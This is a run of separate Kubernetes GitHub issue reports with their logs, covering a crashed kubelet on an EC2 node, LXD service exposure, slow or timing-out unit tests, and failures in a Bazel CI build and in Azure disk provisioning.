oct 16 18:55:04 ip-10-0-2-42.ec2.internal kubelet-wrapper 1276 : w1016 18:55:04.175757    1276 request.go:627  throttling request took 148.06449ms, request: get:https://10.0.4.50:443/api/v1/nodes/ip-10-0-2-42.ec2.internal oct 16 18:58:15 ip-10-0-2-42.ec2.internal systemd 1 : kubelet.service: service hold-off time over, scheduling restart. oct 16 18:58:15 ip-10-0-2-42.ec2.internal systemd 1 : stopped kubelet.service. oct 16 18:58:18 ip-10-0-2-42.ec2.internal systemd 1 : dependency failed for kubelet.service. oct 16 18:58:18 ip-10-0-2-42.ec2.internal systemd 1 : kubelet.service: job kubelet.service/start failed with result 'dependency'.      i'm not sure what caused kubelet to shut down. i see the  failed to collect filesystem stats  error,  but it looks like that may be a red herring  https://github.com/kubernetes/kubernetes/issues/16651 issuecomment-154145346 , possibly caused by a custom docker garbage collection script we are running  because the built in cleanup services are not working for us .  i see the  job kubelet.service/start failed with result 'dependency' . so check the docker service      $ journalctl -u docker  -- logs begin at sun 2016-10-16 07:16:48 utc, end at mon 2016-10-17 14:01:41 utc. -- oct 16 18:58:05 ip-10-0-2-42.ec2.internal systemd 1 : stopping docker application container engine... oct 16 18:58:15 ip-10-0-2-42.ec2.internal systemd 1 : stopped docker application container engine. oct 16 18:58:18 ip-10-0-2-42.ec2.internal systemd 1 : dependency failed for docker application container engine. oct 16 18:58:18 ip-10-0-2-42.ec2.internal systemd 1 : docker.service: job docker.service/start failed with result 'dependency'. oct 17 00:00:14 ip-10-0-2-42.ec2.internal systemd 1 : started docker application container engine. oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.249045066z\  level=info msg=\ graph migration to content-addressability took 0.00 seconds\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.252948977z\  level=info msg=\ firewalld running: false\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.566883833z\  level=info msg=\ loading containers: start.\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : .......................................................time=\ 2016-10-17t00:00:26.766104356z\  level=error msg=\ error unmounting container 9c20ac08b141a474b8ba76698b339729907d35a6a286 oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.767774056z\  level=error msg=\ error unmounting container e3274fd20b73356d2b9d4cf94cb2e5028b0cfdf46151002fd71af5bd86e4b14e: not mounted\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.771743362z\  level=error msg=\ error unmounting container ea6d0e45e10db34b7b934a9307f1791336b258f125dee256d0aa9611363c5261: not mounted\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.773098949z\  level=error msg=\ error unmounting container 7ad2c477853f1429ebefd7687af2b60ac73a83b2590fd52685e139dc073e1f6e: not mounted\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.777013970z\  level=error msg=\ error unmounting container f2448c82bc67eb7b932b3ace75a878272ef917a09e37e542e7a540821815357b: not mounted\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.788810168z\  level=error msg=\ error unmounting container 2ecdff73aedd2c17b57f784fc812ed715240627e37ff9b2ca6b6eb0fa323e757: not mounted\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.799454818z\  level=error msg=\ error unmounting container f0e337d6fd15884d6dd8c69d7b8941232a332054a58d2c66ebc99eac0190a477: not mounted\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.801740726z\  level=error msg=\ error unmounting container 512a8344fee1bb62bcddfa3327a03ea886ccf46fdd9c46f1a0d872ff386004b9: not mounted\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.804142833z\  level=error msg=\ error unmounting container 5818f58156e378425cb2aa48e9646d0d35b86e89338616366b8b21f2fbe58e25: not mounted\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.805297087z\  level=error msg=\ error unmounting container 20a4cda200c33d6263a540caba028a373ecdf5ca2733e40e32627efd71f38d79: not mounted\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.807651272z\  level=error msg=\ error unmounting container 5e11bedd3511b33a1b16ec42af039c0f7a4959c86092f543f2f83816b564ce3f: not mounted\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.808670518z\  level=error msg=\ error unmounting container 63d415b23d7d8d4f399f32d8e7cfa27148af80aa6ba3c1164cfbb43ce94f6a7e: not mounted\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.809797868z\  level=error msg=\ error unmounting container f2199232be2d0f6f93f39e311970222e2d2e18bd8be62c4561304f9dcc58af3d: not mounted\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.812997843z\  level=error msg=\ error unmounting container e260b44e03890339a4de616259d42b6f4529fa0a19e8e259b781d4abf7e68d1e: not mounted\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.816434872z\  level=error msg=\ error unmounting container c23aa4d3db9cba77ee37d5debed98e66a09039ecb78c191c4372c187d9e69c3c: not mounted\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.817642230z\  level=error msg=\ error unmounting container 0c0a0d62ca3af74660f6d671510823485cc1a37bb19e8718e93b28e4cf0c7e4f: not mounted\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.818783758z\  level=error msg=\ error unmounting container 3015b62493fa80462a97336503fb7749cb5a28b37cf70073812b3d37fb806128: not mounted\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.825780463z\  level=error msg=\ error unmounting container 8b549e1ffcd94240d9d7469bc20c400160b2b7ff9a8a3c44eccf48de8f62c141: not mounted\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.868323368z\  level=error msg=\ error unmounting container caf802a7a506053a1f5eef98ca37a017f0203dffcc0eae68019c5288e165ac61: not mounted\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.873743087z\  level=error msg=\ error unmounting container 66dbce340f4e2e0541c814ce224ed059fa99f13cd274a94b6e4ce6ab3a148e1d: not mounted\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.884863245z\  level=info msg=\ loading containers: done.\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.884879420z\  level=info msg=\ daemon has completed initialization\  oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.884896942z\  level=info msg=\ docker daemon\  commit=8acee1b execdriver=native-0.2 graphdriver=overlay version=1.10.3 oct 17 00:00:26 ip-10-0-2-42.ec2.internal dockerd 28294 : time=\ 2016-10-17t00:00:26.890880322z\  level=info msg=\ api listen on /var/run/docker.sock\       i see a  docker.service: job docker.service/start failed with result 'dependency'.  log in there. maybe it's flannel?      $ journalctl -u flanneld            -- logs begin at sun 2016-10-16 07:16:48 utc, end at mon 2016-10-17 14:53:22 utc. -- oct 16 07:16:48 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:48.080742 00001 device.go:187  calling neighset: 10.2.58.14, 96:75:16:ae:1e:ce oct 16 07:16:48 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:48.080863 00001 vxlan.go:356  addl3 succeeded oct 16 07:16:48 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:48.407509 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.0 oct 16 07:16:48 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:48.832713 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.10 oct 16 07:16:49 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:49.408852 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.6 oct 16 07:16:49 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:49.856828 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.9 oct 16 07:16:50 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:50.032862 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.3 oct 16 07:16:50 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:50.410953 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.0 oct 16 07:16:50 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:50.816900 00001 vxlan.go:340  ignoring not a miss: be:66:1c:f3:6f:bf, 10.2.59.2 oct 16 07:16:50 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:50.896856 00001 vxlan.go:340  ignoring not a miss: be:66:1c:f3:6f:bf, 10.2.59.8 oct 16 07:16:52 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:52.752864 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.2 oct 16 07:16:53 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:53.035102 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.0 oct 16 07:16:53 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:53.038654 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.3 oct 16 07:16:53 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:53.633088 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.4 oct 16 07:16:53 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:53.902816 00001 vxlan.go:340  ignoring not a miss: be:66:1c:f3:6f:bf, 10.2.59.8 oct 16 07:16:54 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:54.040702 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.3 oct 16 07:16:54 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:54.080715 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.10 oct 16 07:16:54 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:54.720732 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.6 oct 16 07:16:54 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:54.896893 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.9 oct 16 07:16:54 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:54.904658 00001 vxlan.go:340  ignoring not a miss: be:66:1c:f3:6f:bf, 10.2.59.8 oct 16 07:16:55 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:55.042682 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.3 oct 16 07:16:55 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:55.427159 00001 vxlan.go:345  l3 miss: 10.2.59.9 oct 16 07:16:55 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:55.427208 00001 device.go:187  calling neighset: 10.2.59.9, be:66:1c:f3:6f:bf oct 16 07:16:55 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:55.427391 00001 vxlan.go:356  addl3 succeeded oct 16 07:16:55 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:55.758828 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.2 oct 16 07:16:55 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:55.906672 00001 vxlan.go:340  ignoring not a miss: be:66:1c:f3:6f:bf, 10.2.59.8 oct 16 07:16:56 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:56.395214 00001 vxlan.go:345  l3 miss: 10.2.58.3 oct 16 07:16:56 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:56.395269 00001 device.go:187  calling neighset: 10.2.58.3, 96:75:16:ae:1e:ce oct 16 07:16:56 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:56.395376 00001 vxlan.go:356  addl3 succeeded oct 16 07:16:56 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:56.560665 00001 vxlan.go:340  ignoring not a miss: be:66:1c:f3:6f:bf, 10.2.59.2 oct 16 07:16:56 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:56.760705 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.2 oct 16 07:16:56 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:56.996054 00001 vxlan.go:345  l3 miss: 10.2.59.8 oct 16 07:16:56 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:56.996108 00001 device.go:187  calling neighset: 10.2.59.8, be:66:1c:f3:6f:bf oct 16 07:16:56 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:56.996212 00001 vxlan.go:356  addl3 succeeded oct 16 07:16:57 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:57.086698 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.10 oct 16 07:16:57 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:57.726688 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.6 oct 16 07:16:57 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:57.762682 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.2 oct 16 07:16:57 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:57.902809 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.9 oct 16 07:16:58 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:58.088875 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.10 oct 16 07:16:58 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:58.727838 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.0 oct 16 07:16:58 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:58.729197 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.6 oct 16 07:16:58 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:58.752964 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.4 oct 16 07:16:58 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:58.904853 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.9 oct 16 07:16:59 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:59.090678 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.10 oct 16 07:16:59 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:59.566701 00001 vxlan.go:340  ignoring not a miss: be:66:1c:f3:6f:bf, 10.2.59.2 oct 16 07:16:59 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:59.728951 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.0 oct 16 07:16:59 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:59.730772 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.6 oct 16 07:16:59 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:16:59.906840 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.9 oct 16 07:17:00 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:17:00.112784 00001 vxlan.go:345  l3 miss: 10.2.58.10 oct 16 07:17:00 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:17:00.112832 00001 device.go:187  calling neighset: 10.2.58.10, 96:75:16:ae:1e:ce oct 16 07:17:00 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:17:00.112943 00001 vxlan.go:356  addl3 succeeded oct 16 07:17:00 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:17:00.568835 00001 vxlan.go:340  ignoring not a miss: be:66:1c:f3:6f:bf, 10.2.59.2 oct 16 07:17:00 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:17:00.731082 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.0 oct 16 07:17:01 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:17:01.570500 00001 vxlan.go:340  ignoring not a miss: be:66:1c:f3:6f:bf, 10.2.59.2 oct 16 07:17:01 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:17:01.758877 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.4 oct 16 07:17:02 ip-10-0-2-42.ec2.internal sdnotify-proxy 901 : i1016 07:17:02.027092 00001 vxlan.go:340  ignoring not a miss: 96:75:16:ae:1e:ce, 10.2.58.0      don't see any fatal errors there...  so i try restarting  kubelet :      $ servicectl restart kubelet $ journalctl -fu kubelet oct 17 14:02:37 ip-10-0-2-42.ec2.internal kubelet-wrapper 7992 : i1017 14:02:37.887527    7992 manager.go:123  starting to sync pod status with apiserver oct 17 14:02:37 ip-10-0-2-42.ec2.internal kubelet-wrapper 7992 : i1017 14:02:37.887555    7992 kubelet.go:2356  starting kubelet main sync loop. oct 17 14:02:37 ip-10-0-2-42.ec2.internal kubelet-wrapper 7992 : i1017 14:02:37.887568    7992 kubelet.go:2365  skipping pod synchronization -  container runtime is down  oct 17 14:02:37 ip-10-0-2-42.ec2.internal kubelet-wrapper 7992 : f1017 14:02:37.888926    7992 server.go:118  crypto/tls: failed to parse certificate pem data oct 17 14:02:37 ip-10-0-2-42.ec2.internal systemd 1 : kubelet.service: main process exited, code=exited, status=255/n/a oct 17 14:02:37 ip-10-0-2-42.ec2.internal systemd 1 : kubelet.service: unit entered failed state. oct 17 14:02:37 ip-10-0-2-42.ec2.internal systemd 1 : kubelet.service: failed with result 'exit-code'.      that  crypto/tls: failed to parse certificate pem data  message looks ominous.  i heard from a colleague that on a different node, the rsa keys just disappeared. he was able to fix the issue by copying them in from another server. i don't know if that's what's going on here, but just a guess...  and he's out of town, so i can't verify   all of our pods were quickly relocated to a functioning node, so the impact wasn't too heavy. but it would be nice to know what's going on, and how i could fix/prevent this in the future.

i've installed k8s locally for testing using the lxd method outlined here:\r https://kubernetes.io/docs/getting-started-guides/ubuntu/local/\r \r everything works fine, except for the fact when i want to test my services there doesn't appear to be an external ip when i expose it with  kubectl expose .  with minikube i just had to do a  minikube service my-service  and it will return an ip with a mapped port that exposes the load balancer.\r \r  client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.0\ , gitcommit:\ 283137936a498aed572ee22af6774b6fb6e9fd94\ , gittreestate:\ clean\ , builddate:\ 2016-07-01t19:26:38z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r when running  make test what=k8s.io/kubernetes/pkg/kubectl/cmd , it was failing with a timeout of 120s.\r \r   what you expected to happen  :\r it should succeed in less than 10s.\r \r   how to reproduce it  as minimally and precisely as possible   :\r my kubeconfig is set to a cluster that is resolvable but not accessible, its a private elb load balancer.\r when you run the kubectl cmd unit tests, it loads my ~/.kube/config and attempts to use it with the discoveryclient. the tests normally have to wait for the 30s dial timeout to kick in to fail the test s .\r \r   anything else we need to know?  :\r my current workaround is to run with kubeconfig=bogus to prevent my installed kube config from being loaded. there are probably other test buckets that are also doing this but this is the one that consistently fails.

from here : https://github.com/kubernetes/kubernetes/blob/master/hack/lib/golang.sh l191\r    \r   todo pipejakob  gke-certificates-controller is included here to exercise its\r   compilation, but it doesn't need to be distributed in any of our tars. its\r   code is only living in this repo temporarily until it finds a new home.\r    \r

see  recent runs  https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-bazel-build :\r \r    \r source hack/lib/version.sh\r kube::version::get_version_vars\r echo $kube_git_version\r '\r i1013 23:17:06.312  process 56 exited with code 0 after 0.0m\r i1013 23:17:06.313  call:  gcloud auth activate-service-account --key-file=/etc/service-account/service-account.json\r w1013 23:17:09.073  activated service account credentials for:  pr-kubekins@kubernetes-jenkins-pull.iam.gserviceaccount.com \r i1013 23:17:09.772  process 89 exited with code 0 after 0.1m\r i1013 23:17:09.772  call:  gcloud config get-value account\r i1013 23:17:11.177  process 102 exited with code 0 after 0.0m\r i1013 23:17:11.179  will upload results to gs://kubernetes-jenkins/pr-logs using pr-kubekins@kubernetes-jenkins-pull.iam.gserviceaccount.com\r i1013 23:17:11.180  start 9442 at v1.9.0-alpha.1.1133+053c73e9b7c612...\r i1013 23:17:11.182  call:  gsutil -q -h content-type:application/json cp - gs://kubernetes-jenkins/pr-logs/pull/52883/pull-kubernetes-bazel-build/9442/started.json\r i1013 23:17:14.935  process 115 exited with code 0 after 0.1m\r i1013 23:17:14.936  call:  gsutil -q -h content-type:text/plain -h 'x-goog-meta-link: gs://kubernetes-jenkins/pr-logs/pull/52883/pull-kubernetes-bazel-build/9442' cp - gs://kubernetes-jenkins/pr-logs/directory/pull-kubernetes-bazel-build/9442.txt\r i1013 23:17:18.184  process 287 exited with code 0 after 0.1m\r i1013 23:17:18.214  call:  /workspace/./test-infra/jenkins/../scenarios/kubernetes_bazel.py '--build=//cmd/... //pkg/... //federation/... //plugin/... //third_party/... //examples/... //test/... //vendor/k8s.io/...' --release=//build/release-tars\r w1013 23:17:18.345  run:  'bazel', 'clean', '--expunge' \r w1013 23:17:18.563  info: $test_tmpdir defined: output root default is '/root/.cache/bazel'.\r w1013 23:17:20.816  java version not detected while at least 1.8 is needed.\r w1013 23:17:20.819  please set java_home.\r w1013 23:17:20.820  traceback  most recent call last :\r w1013 23:17:20.820    file \ /workspace/./test-infra/jenkins/../scenarios/kubernetes_bazel.py\ , line 219, in <module>\r w1013 23:17:20.821      main parse_args   \r w1013 23:17:20.823    file \ /workspace/./test-infra/jenkins/../scenarios/kubernetes_bazel.py\ , line 117, in main\r w1013 23:17:20.823      check 'bazel', 'clean', '--expunge' \r w1013 23:17:20.824    file \ /workspace/./test-infra/jenkins/../scenarios/kubernetes_bazel.py\ , line 33, in check\r w1013 23:17:20.824      subprocess.check_call cmd \r w1013 23:17:20.824    file \ /usr/lib/python2.7/subprocess.py\ , line 541, in check_call\r w1013 23:17:20.865      raise calledprocesserror retcode, cmd \r w1013 23:17:20.866  subprocess.calledprocesserror: command ' 'bazel', 'clean', '--expunge' ' returned non-zero exit status 36\r e1013 23:17:20.869  command failed\r i1013 23:17:20.870  process 459 exited with code 1 after 0.0m\r e1013 23:17:20.871  fail: pull-kubernetes-bazel-build\r i1013 23:17:20.871  upload result and artifacts...\r i1013 23:17:20.873  gubernator results at https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/52883/pull-kubernetes-bazel-build/9442\r    \r \r cc @kubernetes/test-infra-maintainers @javier-b-perez

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r for unmanaged disk, now it is not working\r   what you expected to happen  :\r works well\r   how to reproduce it  as minimally and precisely as possible   :\r    \r   kubectl get sc\r name      provisioner                age\r scazure   kubernetes.io/azure-disk   4h\r   kubectl get sc scazure -o yaml\r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   creationtimestamp: 2017-11-15t03:15:24z\r   name: scazure\r   resourceversion: \ 5718\ \r   selflink: /apis/storage.k8s.io/v1/storageclasses/scazure\r   uid: 3896d86f-c9b3-11e7-9c74-000d3a139483\r parameters:\r   location: eastus\r   storageaccount: storage\r provisioner: kubernetes.io/azure-disk\r reclaimpolicy: delete\r \r   kubectl describe pvc azpvc\r name:          azpvc\r namespace:     default\r storageclass:  scazure\r status:        pending\r volume:        \r labels:        <none>\r annotations:   volume.beta.kubernetes.io/storage-class=scazure\r                volume.beta.kubernetes.io/storage-provisioner=kubernetes.io/azure-disk\r capacity:      \r access modes:  \r events:\r   type     reason              age               from                         message\r   ----     ------              ----              ----                         -------\r   warning  provisioningfailed  6s  x2 over 17s   persistentvolume-controller  failed to provision volume with storageclass \ scazure\ : create storage account: %!! missing  extra string=001 , error: storage.accountsclient create: failure responding to request: statuscode=400 -- original error: autorest/azure: service returned an error. status=400 code=\ invaliddoubleencodedrequesturi\  message=\ the request uri 'https://management.azure.com:443/subscriptions/.../resourcegroups/openshift/providers/microsoft.storage/storageaccounts/%!! missing  extra%!s missing tring=001 ?api-version=2017-06-01' is not valid, because it contains double encoding sequence '%!' missing .\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.2.734+2d64ce5e8e45e2\ , gitcommit:\ 2d64ce5e8e45e26b02492d2b6c85e5ebfb1e4761\ , gittreestate:\ clean\ , builddate:\ 2017-11-14t03:26:54z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.2.734+2d64ce5e8e45e2\ , gitcommit:\ 2d64ce5e8e45e26b02492d2b6c85e5ebfb1e4761\ , gittreestate:\ clean\ , builddate:\ 2017-11-14t03:26:54z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : rhel7\r - kernel  e.g.  uname -a  :\r - install tools: ansible\r - others:\r

is this a bug report or feature request?  :\r  / @kubernetes/sig-scalability-bugs \r umbrella issue:  56062\r \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8147 failed with:\r    \r i1120 11:16:08.564  nov 20 11:16:08.564: info: warning top latency metric: {resource:replicationcontrollers subresource: verb:post scope:namespace latency:{perc50:1.587ms perc90:4.043ms perc99:1.435017s perc100:0s} count:328}\r  ... \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/load.go:96\r there should be no high-latency requests\r expected\r     <int>: 1\r not to be >\r     <int>: 0\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/load.go:105\r

  \r \r   what happened  :\r 2 months ago the pkg/master test was reliably taking less the 60 seconds to complete.\r it now reliably takes 90 seconds on decently powerful box and times out a 5 minute timeout on the ci boxes.\r please see  59685 and  59441.\r \r as @mikedanese notes :-\r \r the validate calls to the vendored go-openapi library are which make the test slow:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/master/master_openapi_test.go l91\r we should probably do more perf and send a patch to upstream.\r \r   what you expected to happen  :\r someone needs to fully investigate the fix the issue causing the significant slow down of this test.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run the test and note how long it takes.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

http://k8s-testgrid.appspot.com/presubmits-kubernetes-blocking pull-kubernetes-verify\r looks like something is indeed busted :-\\\r \r /  /status approved-for-milestone\r  \r cc @jdumars @jberkus \r /assign @ixdy @bentheelder

